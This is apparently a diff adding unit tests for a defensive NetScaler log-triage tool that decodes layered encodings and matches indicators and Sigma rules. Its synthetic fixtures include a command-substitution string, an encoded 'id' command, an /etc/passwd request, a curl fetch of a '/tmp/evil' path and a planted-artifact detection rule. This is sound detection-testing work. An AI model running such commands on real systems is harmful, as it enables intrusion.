self.assertIn("a+b c", [r["output"] for r in decode_layers("a+b%20c")])
|
||||||
|
self.assertTrue(any(r["output_encoding"] == "hex" for r in decode_layers("AP8=")))
|
||||||
|
self.assertTrue(any(r["error"] for r in decode_layers("%FF")))
|
||||||
|
|
||||||
|
def test_inert_commands_and_ordinary_log(self) -> None:
|
||||||
|
command = "$(touch /tmp/NEVER_EXECUTE)"
|
||||||
|
records = decode_layers(base64.b64encode(command.encode()).decode())
|
||||||
|
self.assertIn(command, [r["output"] for r in records])
|
||||||
|
self.assertEqual(len(decode_layers("normal log entry with hostname server")), 1)
|
||||||
|
|
||||||
|
def test_nested(self) -> None:
|
||||||
|
text = base64.b64encode(base64.b64encode(b"id")).decode()
|
||||||
|
self.assertIn("id", [r["output"] for r in decode_layers(text)])
|
||||||
|
self.assertLessEqual(len(decode_layers(" ".join("m:" + text for _ in range(100)))), 64)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,214 @@
|
|||||||
|
"""User-facing automatic preparation with synthetic logs and disposable folders."""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
import zipfile
|
||||||
|
from contextlib import redirect_stderr, redirect_stdout
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
import py7zr
|
||||||
|
|
||||||
|
from netscaler_triage.cli import main
|
||||||
|
from netscaler_triage.preparation import prepare_inputs
|
||||||
|
|
||||||
|
LOG = (
|
||||||
|
'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET /etc/passwd HTTP/1.1" 403 0 "-" "ordinary"\n'
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class EasyCliTests(unittest.TestCase):
|
||||||
|
def setUp(self) -> None:
|
||||||
|
self.temporary = tempfile.TemporaryDirectory()
|
||||||
|
self.root = Path(self.temporary.name).resolve()
|
||||||
|
self.previous = Path.cwd()
|
||||||
|
self.case = self.root / "case"
|
||||||
|
self.case.mkdir()
|
||||||
|
os.chdir(self.case)
|
||||||
|
|
||||||
|
def tearDown(self) -> None:
|
||||||
|
os.chdir(self.previous)
|
||||||
|
self.temporary.cleanup()
|
||||||
|
|
||||||
|
def invoke(self, arguments: list[str]) -> str:
|
||||||
|
stdout, stderr = io.StringIO(), io.StringIO()
|
||||||
|
with redirect_stdout(stdout), redirect_stderr(stderr):
|
||||||
|
result = main(arguments)
|
||||||
|
self.assertEqual(result, 0, stdout.getvalue() + stderr.getvalue())
|
||||||
|
return stdout.getvalue() + stderr.getvalue()
|
||||||
|
|
||||||
|
def events(self) -> list[dict[str, Any]]:
|
||||||
|
files = list(self.root.rglob("findings.jsonl"))
|
||||||
|
self.assertEqual(len(files), 1, files)
|
||||||
|
return [json.loads(line) for line in files[0].read_text().splitlines()]
|
||||||
|
|
||||||
|
def archive(self, name: str, log: str = LOG) -> Path:
|
||||||
|
archive = self.case / name
|
||||||
|
with zipfile.ZipFile(archive, "w") as handle:
|
||||||
|
handle.writestr("var/log/httpaccess.log", log)
|
||||||
|
return archive
|
||||||
|
|
||||||
|
def encrypted_archive(self, password: str) -> Path:
|
||||||
|
original = self.root / "fixture.log"
|
||||||
|
original.write_text(LOG, encoding="utf-8")
|
||||||
|
archive = self.case / "encrypted.7z"
|
||||||
|
with py7zr.SevenZipFile(archive, "w", password=password, header_encryption=True) as handle:
|
||||||
|
handle.write(original, "var/log/httpaccess.log")
|
||||||
|
return archive
|
||||||
|
|
||||||
|
def assert_password_absent(self, password: str, output: str) -> None:
|
||||||
|
self.assertNotIn(password, output)
|
||||||
|
for path in self.root.rglob("*"):
|
||||||
|
if path.is_file() and path.suffix in {".json", ".jsonl", ".txt", ".csv"}:
|
||||||
|
self.assertNotIn(password, path.read_text(encoding="utf-8"), str(path))
|
||||||
|
|
||||||
|
def test_no_arguments_uses_current_folder_and_skips_tool_directories(self) -> None:
|
||||||
|
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||||
|
(self.case / "pyproject.toml").write_text(
|
||||||
|
'[project]\nname = "netscaler-triage"\n', encoding="utf-8"
|
||||||
|
)
|
||||||
|
for name in ("src", ".runtime", ".venv", "results"):
|
||||||
|
folder = self.case / name
|
||||||
|
folder.mkdir()
|
||||||
|
(folder / "unrelated.log").write_text(LOG * 3, encoding="utf-8")
|
||||||
|
self.invoke([])
|
||||||
|
events = self.events()
|
||||||
|
self.assertEqual(len(events), 1)
|
||||||
|
self.assertEqual(events[0]["kind"], "http_access")
|
||||||
|
|
||||||
|
def test_folder_without_subcommand(self) -> None:
|
||||||
|
folder = self.case / "logs"
|
||||||
|
folder.mkdir()
|
||||||
|
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||||
|
self.invoke([str(folder)])
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
|
||||||
|
def test_explicit_scan_folder(self) -> None:
|
||||||
|
folder = self.case / "logs"
|
||||||
|
folder.mkdir()
|
||||||
|
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||||
|
self.invoke(["scan", str(folder)])
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
|
||||||
|
def test_missing_common_drive_uses_current_output_parent(self) -> None:
|
||||||
|
folder = self.case / "logs"
|
||||||
|
folder.mkdir()
|
||||||
|
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||||
|
with patch("netscaler_triage.cli.os.path.commonpath", side_effect=ValueError("drives")):
|
||||||
|
self.invoke([str(folder)])
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
|
||||||
|
def test_advanced_preparation_limits_are_forwarded(self) -> None:
|
||||||
|
folder = self.case / "logs"
|
||||||
|
folder.mkdir()
|
||||||
|
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||||
|
with patch("netscaler_triage.cli.prepare_inputs", wraps=prepare_inputs) as prepare:
|
||||||
|
self.invoke(
|
||||||
|
[str(folder), "--max-bytes", "10000", "--max-files", "9", "--max-depth", "0"]
|
||||||
|
)
|
||||||
|
self.assertEqual(prepare.call_args.kwargs["max_bytes"], 10000)
|
||||||
|
self.assertEqual(prepare.call_args.kwargs["max_files"], 9)
|
||||||
|
self.assertEqual(prepare.call_args.kwargs["max_depth"], 0)
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
|
||||||
|
def test_archive_is_prepared_automatically_without_changing_original(self) -> None:
|
||||||
|
archive = self.archive("adc.zip")
|
||||||
|
before = hashlib.sha256(archive.read_bytes()).digest()
|
||||||
|
self.invoke([str(archive)])
|
||||||
|
self.assertEqual(hashlib.sha256(archive.read_bytes()).digest(), before)
|
||||||
|
events = self.events()
|
||||||
|
self.assertEqual(len(events), 1)
|
||||||
|
self.assertEqual(events[0]["kind"], "http_access")
|
||||||
|
|
||||||
|
def test_two_archives_keep_separate_appliance_identity(self) -> None:
|
||||||
|
first = self.archive("adc-one.zip")
|
||||||
|
second = self.archive("adc-two.zip")
|
||||||
|
self.invoke([str(first), str(second)])
|
||||||
|
events = self.events()
|
||||||
|
self.assertEqual(len(events), 2)
|
||||||
|
self.assertEqual(len({event["appliance"] for event in events}), 2)
|
||||||
|
|
||||||
|
def test_current_folder_discovers_multiple_archives(self) -> None:
|
||||||
|
self.archive("adc-one.zip")
|
||||||
|
self.archive("adc-two.zip")
|
||||||
|
self.invoke([])
|
||||||
|
events = self.events()
|
||||||
|
self.assertEqual(len(events), 2)
|
||||||
|
self.assertEqual(len({event["appliance"] for event in events}), 2)
|
||||||
|
|
||||||
|
def test_nested_archive_is_not_counted_twice(self) -> None:
|
||||||
|
nested = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(nested, "w") as handle:
|
||||||
|
handle.writestr("httpaccess.log", LOG)
|
||||||
|
archive = self.case / "outer.zip"
|
||||||
|
with zipfile.ZipFile(archive, "w") as handle:
|
||||||
|
handle.writestr("inner.zip", nested.getvalue())
|
||||||
|
self.invoke([str(archive)])
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
|
||||||
|
def test_archive_password_is_not_written_to_output(self) -> None:
|
||||||
|
password = "SYNTHETIC-password-SECRET-39217"
|
||||||
|
archive = self.encrypted_archive(password)
|
||||||
|
output = self.invoke([str(archive), "--password", password])
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
self.assert_password_absent(password, output)
|
||||||
|
|
||||||
|
def test_password_flag_without_value_prompts_privately(self) -> None:
|
||||||
|
password = "SYNTHETIC-prompt-SECRET-39218"
|
||||||
|
archive = self.encrypted_archive(password)
|
||||||
|
with patch("netscaler_triage.cli.getpass.getpass", return_value=password) as prompt:
|
||||||
|
output = self.invoke([str(archive), "--password"])
|
||||||
|
prompt.assert_called_once()
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
self.assert_password_absent(password, output)
|
||||||
|
|
||||||
|
def test_password_option_alone_uses_current_folder(self) -> None:
|
||||||
|
password = "SYNTHETIC-default-SECRET-39219"
|
||||||
|
self.encrypted_archive(password)
|
||||||
|
output = self.invoke(["--password", password])
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
self.assert_password_absent(password, output)
|
||||||
|
|
||||||
|
def test_output_inside_original_input_is_rejected_before_changes(self) -> None:
|
||||||
|
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||||
|
before = {
|
||||||
|
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
|
||||||
|
for p in self.root.rglob("*")
|
||||||
|
}
|
||||||
|
stdout, stderr = io.StringIO(), io.StringIO()
|
||||||
|
with redirect_stdout(stdout), redirect_stderr(stderr):
|
||||||
|
result = main([str(self.case), "--output", str(self.case / "generated" / "out")])
|
||||||
|
self.assertNotEqual(result, 0)
|
||||||
|
after = {
|
||||||
|
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
|
||||||
|
for p in self.root.rglob("*")
|
||||||
|
}
|
||||||
|
self.assertEqual(before, after)
|
||||||
|
|
||||||
|
def test_corrupt_archive_keeps_valid_results_and_reports_partial(self) -> None:
|
||||||
|
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
|
||||||
|
(self.case / "broken.zip").write_bytes(b"not a zip archive")
|
||||||
|
stdout, stderr = io.StringIO(), io.StringIO()
|
||||||
|
with redirect_stdout(stdout), redirect_stderr(stderr):
|
||||||
|
result = main([])
|
||||||
|
self.assertEqual(result, 2)
|
||||||
|
self.assertEqual(len(self.events()), 1)
|
||||||
|
summaries = list(self.root.rglob("summary.json"))
|
||||||
|
self.assertEqual(len(summaries), 1)
|
||||||
|
summary = json.loads(summaries[0].read_text())
|
||||||
|
self.assertEqual(summary["status"], "partial")
|
||||||
|
self.assertEqual(summary["counts"]["preparation_errors"], 1)
|
||||||
|
self.assertEqual(summary["preparation_errors"][0]["source"], "broken.zip")
|
||||||
|
manifest = json.loads((summaries[0].parent / "preparation_manifest.json").read_text())
|
||||||
|
failures = [entry for entry in manifest["entries"] if entry["action"] == "error"]
|
||||||
|
self.assertEqual(len(failures), 1)
|
||||||
|
self.assertIn("Preparation incomplete", stderr.getvalue())
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,102 @@
|
|||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from netscaler_triage.decoding import has_encoding_candidate
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
|
||||||
|
ARTIFACT = "/var/tmp/nsmon.pl"
|
||||||
|
RULE = """title: Synthetic decoded artifact
|
||||||
|
id: 96ddcb52-8e0b-4f8b-a41d-44e160db7464
|
||||||
|
logsource:
|
||||||
|
product: netscaler
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
raw|contains: '/var/tmp/nsmon.pl'
|
||||||
|
condition: selection
|
||||||
|
level: medium
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def encoded(value: str) -> str:
|
||||||
|
return base64.b64encode(value.encode()).decode().rstrip("=")
|
||||||
|
|
||||||
|
|
||||||
|
class EncodingGateTests(unittest.TestCase):
|
||||||
|
def test_encoded_user_agents_and_raw_blobs_keep_both_match_types(self) -> None:
|
||||||
|
once = encoded(ARTIFACT)
|
||||||
|
nested = encoded(once)
|
||||||
|
url_encoded = "%" + format(ord(once[0]), "02X") + once[1:]
|
||||||
|
lines = [
|
||||||
|
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 404 0 "-" "{agent}"'
|
||||||
|
for agent in (once, nested, url_encoded)
|
||||||
|
]
|
||||||
|
lines.extend([once, "marker:" + once, "log payload " + encoded(ARTIFACT * 3)])
|
||||||
|
lines.extend(
|
||||||
|
[
|
||||||
|
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
|
||||||
|
f'"GET / HTTP/1.1" 404 0 "{once}" "synthetic-agent"',
|
||||||
|
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
|
||||||
|
f'"GET / HTTP/1.1" 404 0 "-" "synthetic-agent" Cookie: command={once}',
|
||||||
|
]
|
||||||
|
)
|
||||||
|
with tempfile.TemporaryDirectory() as temporary:
|
||||||
|
root = Path(temporary).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "messages").write_text("\n".join(lines) + "\n", encoding="utf-8")
|
||||||
|
config: dict[str, Any] = {
|
||||||
|
"sigma_rules": [{"source": "synthetic.yml", "yaml": RULE}],
|
||||||
|
"indicators": [{"type": "literal", "value": ARTIFACT, "status": "reference_only"}],
|
||||||
|
}
|
||||||
|
summary = scan([("ADC", logs)], root / "out", [config], defaults=False)
|
||||||
|
self.assertEqual(summary["counts"]["records"], len(lines))
|
||||||
|
events = [
|
||||||
|
json.loads(row) for row in (root / "out/findings.jsonl").read_text().splitlines()
|
||||||
|
]
|
||||||
|
self.assertEqual(len(events), len(lines))
|
||||||
|
for event, original in zip(events, lines, strict=True):
|
||||||
|
self.assertEqual(event["raw"], original)
|
||||||
|
self.assertIn("96ddcb52-8e0b-4f8b-a41d-44e160db7464", event["rules"])
|
||||||
|
self.assertTrue(any(hit["value"] == ARTIFACT for hit in event["indicator_matches"]))
|
||||||
|
self.assertTrue(
|
||||||
|
any(ARTIFACT in (layer.get("output") or "") for layer in event["decoding"])
|
||||||
|
)
|
||||||
|
self.assertTrue(
|
||||||
|
any("decoded:" in str(detail["basis"]) for detail in event["rule_details"])
|
||||||
|
)
|
||||||
|
self.assertEqual(
|
||||||
|
sum(layer["transformation"] == "original" for layer in events[0]["decoding"]),
|
||||||
|
1,
|
||||||
|
"An encoded known field must not cause duplicate raw-line decoding",
|
||||||
|
)
|
||||||
|
cookie_layers = [
|
||||||
|
layer
|
||||||
|
for layer in events[-1]["decoding"]
|
||||||
|
if layer["transformation"] == "base64"
|
||||||
|
and layer["depth"] == 1
|
||||||
|
and layer["input"] == once
|
||||||
|
]
|
||||||
|
self.assertTrue(cookie_layers)
|
||||||
|
for layer in cookie_layers:
|
||||||
|
self.assertEqual(lines[-1][layer["start"] : layer["end"]], layer["input"])
|
||||||
|
|
||||||
|
def test_ordinary_words_and_timestamps_are_not_candidates(self) -> None:
|
||||||
|
for text in (
|
||||||
|
"NetScaler",
|
||||||
|
"Mozilla/5.0",
|
||||||
|
"ordinary words and numbers 123456789",
|
||||||
|
"Oct 01 12:00:00 appliance ready",
|
||||||
|
"2026-10-01T12:00:00Z",
|
||||||
|
):
|
||||||
|
with self.subTest(text=text):
|
||||||
|
self.assertFalse(has_encoding_candidate(text))
|
||||||
|
self.assertTrue(has_encoding_candidate(encoded("nsmon.pl")))
|
||||||
|
self.assertTrue(has_encoding_candidate(encoded(ARTIFACT * 2048)))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,143 @@
|
|||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import sqlite3
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
from unittest.mock import patch
|
||||||
|
|
||||||
|
from netscaler_triage.engine import scan
|
||||||
|
from netscaler_triage.matching import Matcher
|
||||||
|
|
||||||
|
|
||||||
|
class EngineTests(unittest.TestCase):
|
||||||
|
def test_hash_iocs_match_file_and_decoded_bytes(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
content = b"original file\n"
|
||||||
|
(logs / "sample.log").write_bytes(content)
|
||||||
|
(logs / "http.log").write_text(
|
||||||
|
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
|
||||||
|
'"GET /?x=aWQ%3D HTTP/1.1" 200 0 "-" "ua"\n',
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
config = {
|
||||||
|
"indicators": [
|
||||||
|
{"type": "sha256", "value": hashlib.sha256(value).hexdigest()}
|
||||||
|
for value in (content, b"id")
|
||||||
|
]
|
||||||
|
}
|
||||||
|
result = scan([("ADC", logs)], root / "out", [config], defaults=False)
|
||||||
|
self.assertEqual(result["counts"]["file_hash_hits"], 1)
|
||||||
|
file_hits = json.loads((root / "out/file_hash_hits.json").read_text())
|
||||||
|
self.assertEqual(file_hits[0]["source"], "sample.log")
|
||||||
|
events = [
|
||||||
|
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
|
||||||
|
]
|
||||||
|
self.assertTrue(
|
||||||
|
any(
|
||||||
|
hit.get("basis") == "decoded_bytes_sha256"
|
||||||
|
for event in events
|
||||||
|
for hit in event["indicator_matches"]
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_interrupt_records_failure_and_keeps_database(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "test.log").write_text("one\ntwo\n", encoding="utf-8")
|
||||||
|
with (
|
||||||
|
patch.object(
|
||||||
|
Matcher,
|
||||||
|
"search_with_details",
|
||||||
|
side_effect=[(["hit"], [], []), KeyboardInterrupt()],
|
||||||
|
),
|
||||||
|
self.assertRaises(KeyboardInterrupt),
|
||||||
|
):
|
||||||
|
scan([("ADC", logs)], root / "out", [], defaults=False)
|
||||||
|
summary = json.loads((root / "out/summary.json").read_text())
|
||||||
|
self.assertEqual(summary["error_type"], "KeyboardInterrupt")
|
||||||
|
with sqlite3.connect(root / "out/evidence.sqlite") as db:
|
||||||
|
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 1)
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
def test_match_timeout_preserves_record_and_continues(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "test.log").write_text("problem\nfollowing\n", encoding="utf-8")
|
||||||
|
with patch.object(
|
||||||
|
Matcher, "search_with_details", side_effect=[TimeoutError(), (["hit"], [], [])]
|
||||||
|
):
|
||||||
|
result = scan([("ADC", logs)], root / "out", [], defaults=False)
|
||||||
|
self.assertEqual(result["status"], "partial")
|
||||||
|
self.assertEqual(result["counts"]["records"], 2)
|
||||||
|
self.assertEqual(result["counts"]["selected"], 2)
|
||||||
|
self.assertEqual(result["counts"]["matching_errors"], 1)
|
||||||
|
rows = [
|
||||||
|
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
|
||||||
|
]
|
||||||
|
self.assertEqual(rows[0]["raw"], "problem")
|
||||||
|
self.assertTrue(rows[0]["analysis_errors"])
|
||||||
|
self.assertEqual(rows[1]["rules"], ["hit"])
|
||||||
|
|
||||||
|
def test_large_decoding_candidates_are_not_cached(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
logs = root / "logs"
|
||||||
|
logs.mkdir()
|
||||||
|
(logs / "test.log").write_text(("%41" * 2000 + "\n") * 2, encoding="utf-8")
|
||||||
|
with patch("netscaler_triage.engine.decode_layers", return_value=[]) as decode:
|
||||||
|
scan([("ADC", logs)], root / "out", [], defaults=False)
|
||||||
|
self.assertEqual(decode.call_count, 2)
|
||||||
|
|
||||||
|
def test_multi_appliance_and_decoded_match(self) -> None:
|
||||||
|
with tempfile.TemporaryDirectory() as tmp:
|
||||||
|
root = Path(tmp).resolve()
|
||||||
|
inputs = []
|
||||||
|
for name in ("one", "two"):
|
||||||
|
directory = root / name
|
||||||
|
directory.mkdir()
|
||||||
|
(directory / "http.log").write_text(
|
||||||
|
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] [42] "
|
||||||
|
'"GET /test?x=aWQ%3D HTTP/1.1" 403 0 "-" "ua"\n',
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
inputs.append((name, directory))
|
||||||
|
result = scan(
|
||||||
|
inputs,
|
||||||
|
root / "out",
|
||||||
|
[{"patterns": [{"id": "id", "pattern": "^id$"}]}],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
self.assertEqual(result["counts"]["findings"], 2)
|
||||||
|
db = sqlite3.connect(root / "out/evidence.sqlite")
|
||||||
|
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 2)
|
||||||
|
event = json.loads(db.execute("SELECT data FROM events LIMIT 1").fetchone()[0])
|
||||||
|
self.assertTrue(any(step.get("output") == "id" for step in event["decoding"]))
|
||||||
|
db.close()
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
scan(inputs, root / "one/out", [])
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
scan(inputs, root / "out", [])
|
||||||
|
|
||||||
|
def test_literal_ip_boundaries_and_timeout(self) -> None:
|
||||||
|
matcher = Matcher(
|
||||||
|
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}], defaults=False
|
||||||
|
)
|
||||||
|
self.assertFalse(matcher.search("192.0.2.11")[1])
|
||||||
|
self.assertTrue(matcher.search("source 192.0.2.1 end")[1])
|
||||||
|
pathological = Matcher(
|
||||||
|
[{"patterns": [{"pattern": "(a+)+$"}]}], timeout=0.001, defaults=False
|
||||||
|
)
|
||||||
|
with self.assertRaises(TimeoutError):
|
||||||
|
pathological.search("a" * 10000 + "!")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
"""Synthetic indicator boundaries, overlapping values and contextual packs."""
|
||||||
|
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
from netscaler_triage.matching import Matcher
|
||||||
|
|
||||||
|
|
||||||
|
class IndicatorMatchingTests(unittest.TestCase):
|
||||||
|
def matcher(self, kind: str, value: str) -> Matcher:
|
||||||
|
return Matcher([{"indicators": [{"type": kind, "value": value}]}], defaults=False)
|
||||||
|
|
||||||
|
def test_typed_boundaries_and_case(self) -> None:
|
||||||
|
cases = [
|
||||||
|
("ipv4", "192.0.2.1", "peer 192.0.2.1:443", "peer 192.0.2.10"),
|
||||||
|
("domain", "example.test", "https://sub.example.test/a", "example.test.evil"),
|
||||||
|
("domain", "example.test", "EXAMPLE.TEST", "notexample.test"),
|
||||||
|
("path", "/tmp/evil", "curl https://host.test/tmp/evil", "/tmp/evil.backup"),
|
||||||
|
("path", "/tmp/evil", "cat /tmp/evil", "/safe/tmp/evil"),
|
||||||
|
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/EVIL"),
|
||||||
|
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/evil%2Ebackup"),
|
||||||
|
(
|
||||||
|
"url",
|
||||||
|
"http://example.test/a",
|
||||||
|
"http://example.test/a",
|
||||||
|
"http://example.test/a%2Flonger",
|
||||||
|
),
|
||||||
|
("path", "evil.php", "GET /vpn/evil.php?x=1", "/vpn/not-evil.php"),
|
||||||
|
("url", "http://example.test/a", "HTTP://EXAMPLE.TEST/a", "http://example.test/ab"),
|
||||||
|
("url", "http://example.test/A", "http://example.test/A", "http://example.test/a"),
|
||||||
|
("sha256", "a" * 64, "sha256=" + "A" * 64, "g" + "a" * 64),
|
||||||
|
]
|
||||||
|
for kind, value, positive, negative in cases:
|
||||||
|
with self.subTest(kind=kind, value=value):
|
||||||
|
matcher = self.matcher(kind, value)
|
||||||
|
self.assertTrue(matcher.search(positive)[1])
|
||||||
|
self.assertFalse(matcher.search(negative)[1])
|
||||||
|
|
||||||
|
def test_unicode_case_mapping_does_not_crash_or_invent_ascii_indicator(self) -> None:
|
||||||
|
matcher = self.matcher("literal", "id")
|
||||||
|
self.assertFalse(matcher.search("İD")[1])
|
||||||
|
self.assertTrue(matcher.search("ID")[1])
|
||||||
|
|
||||||
|
def test_prefix_indicators_are_not_lost_to_longest_alternative(self) -> None:
|
||||||
|
matcher = Matcher(
|
||||||
|
[{"indicators": [{"type": "literal", "value": v} for v in ["abc", "abcdef"]]}],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
self.assertEqual({x["value"] for x in matcher.search("abcdef")[1]}, {"abc", "abcdef"})
|
||||||
|
matcher = Matcher(
|
||||||
|
[{"indicators": [{"type": "path", "value": v} for v in ["/tmp/", "/tmp/evil"]]}],
|
||||||
|
defaults=False,
|
||||||
|
)
|
||||||
|
self.assertEqual(
|
||||||
|
{x["value"] for x in matcher.search("/tmp/evil")[1]}, {"/tmp/", "/tmp/evil"}
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_invalid_ip_and_hash_fail_before_scanning(self) -> None:
|
||||||
|
for kind, value in [("ipv4", "999.1.2.3"), ("ipv4", "2001:db8::1"), ("sha256", "abc")]:
|
||||||
|
with self.subTest(kind=kind), self.assertRaises(ValueError):
|
||||||
|
self.matcher(kind, value)
|
||||||
|
|
||||||
|
def test_sigma_metadata_cannot_bypass_context(self) -> None:
|
||||||
|
yaml = """title: Contextual metadata example
|
||||||
|
id: d7518e0b-4717-45f2-babb-970ab3d546dd
|
||||||
|
logsource:
|
||||||
|
product: netscaler
|
||||||
|
service: http_access
|
||||||
|
indicators:
|
||||||
|
- type: ipv4
|
||||||
|
value: 192.0.2.42
|
||||||
|
status: reference_only
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
uri: /suspicious
|
||||||
|
raw|contains: 192.0.2.42
|
||||||
|
condition: selection
|
||||||
|
"""
|
||||||
|
config = {"sigma_rules": [{"source": "example.yml", "yaml": yaml}]}
|
||||||
|
matcher = Matcher([config], defaults=False)
|
||||||
|
self.assertEqual(matcher.search("peer 192.0.2.42"), ([], []))
|
||||||
|
self.assertFalse(matcher.indicators)
|
||||||
|
self.assertTrue(
|
||||||
|
matcher.search_sigma(
|
||||||
|
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/suspicious"}
|
||||||
|
)
|
||||||
|
)
|
||||||
|
self.assertFalse(
|
||||||
|
matcher.search_sigma(
|
||||||
|
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/health"}
|
||||||
|
)
|
||||||
|
)
|
||||||
|
with self.assertRaisesRegex(ValueError, "Duplicate rule identifier"):
|
||||||
|
Matcher([config, config], defaults=False)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
import unittest
|
||||||
|
|
||||||
|
from netscaler_triage.indicators import defang, extract_indicators
|
||||||
|
|
||||||
|
|
||||||
|
class IndicatorTests(unittest.TestCase):
|
||||||
|
def test_interleaved_url_and_path_spans(self) -> None:
|
||||||
|
rows = extract_indicators(
|
||||||
|
"/before http://example.test/a /between https://example.test/b?q=/internal /after"
|
||||||
|
)
|
||||||
|
self.assertEqual(
|
||||||
|
{r["value"] for r in rows if r["type"] == "path"}, {"/before", "/between", "/after"}
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_addresses_and_domains(self) -> None:
|
||||||
|
rows = extract_indicators(
|
||||||
|
"src=192.0.2.1 invalid=999.1.1.1 peer=2001:db8::1 Host: example.test ordinary.txt"
|
||||||
|
)
|
||||||
|
values = {r["value"] for r in rows}
|
||||||
|
self.assertIn("192.0.2.1", values)
|
||||||
|
self.assertIn("2001:db8::1", values)
|
||||||
|
self.assertIn("example.test", values)
|
||||||
|
self.assertNotIn("999.1.1.1", values)
|
||||||
|
self.assertNotIn("ordinary.txt", values)
|
||||||
|
|
||||||
|
def test_original_and_reversible_defang(self) -> None:
|
||||||
|
url = "https://example.test:8443/a.php?q=1"
|
||||||
|
rows = extract_indicators(url + " /tmp/file " + "a" * 64)
|
||||||
|
self.assertIn(url, [r["value"] for r in rows])
|
||||||
|
self.assertIn("sha256", [r["type"] for r in rows])
|
||||||
|
encoded = defang(url, "url")
|
||||||
|
self.assertNotIn("https://", encoded)
|
||||||
|
restored = encoded.replace("[.]", ".").replace("[:]", ":").replace("hxxps:", "https:")
|
||||||
|
self.assertEqual(restored, url)
|
||||||
|
|
||||||
|
def test_boundaries(self) -> None:
|
||||||
|
self.assertEqual(extract_indicators("x192.0.2.1suffix"), [])
|
||||||
|
self.assertFalse(any(r["type"] == "domain" for r in extract_indicators("http://[broken")))
|
||||||
|
|
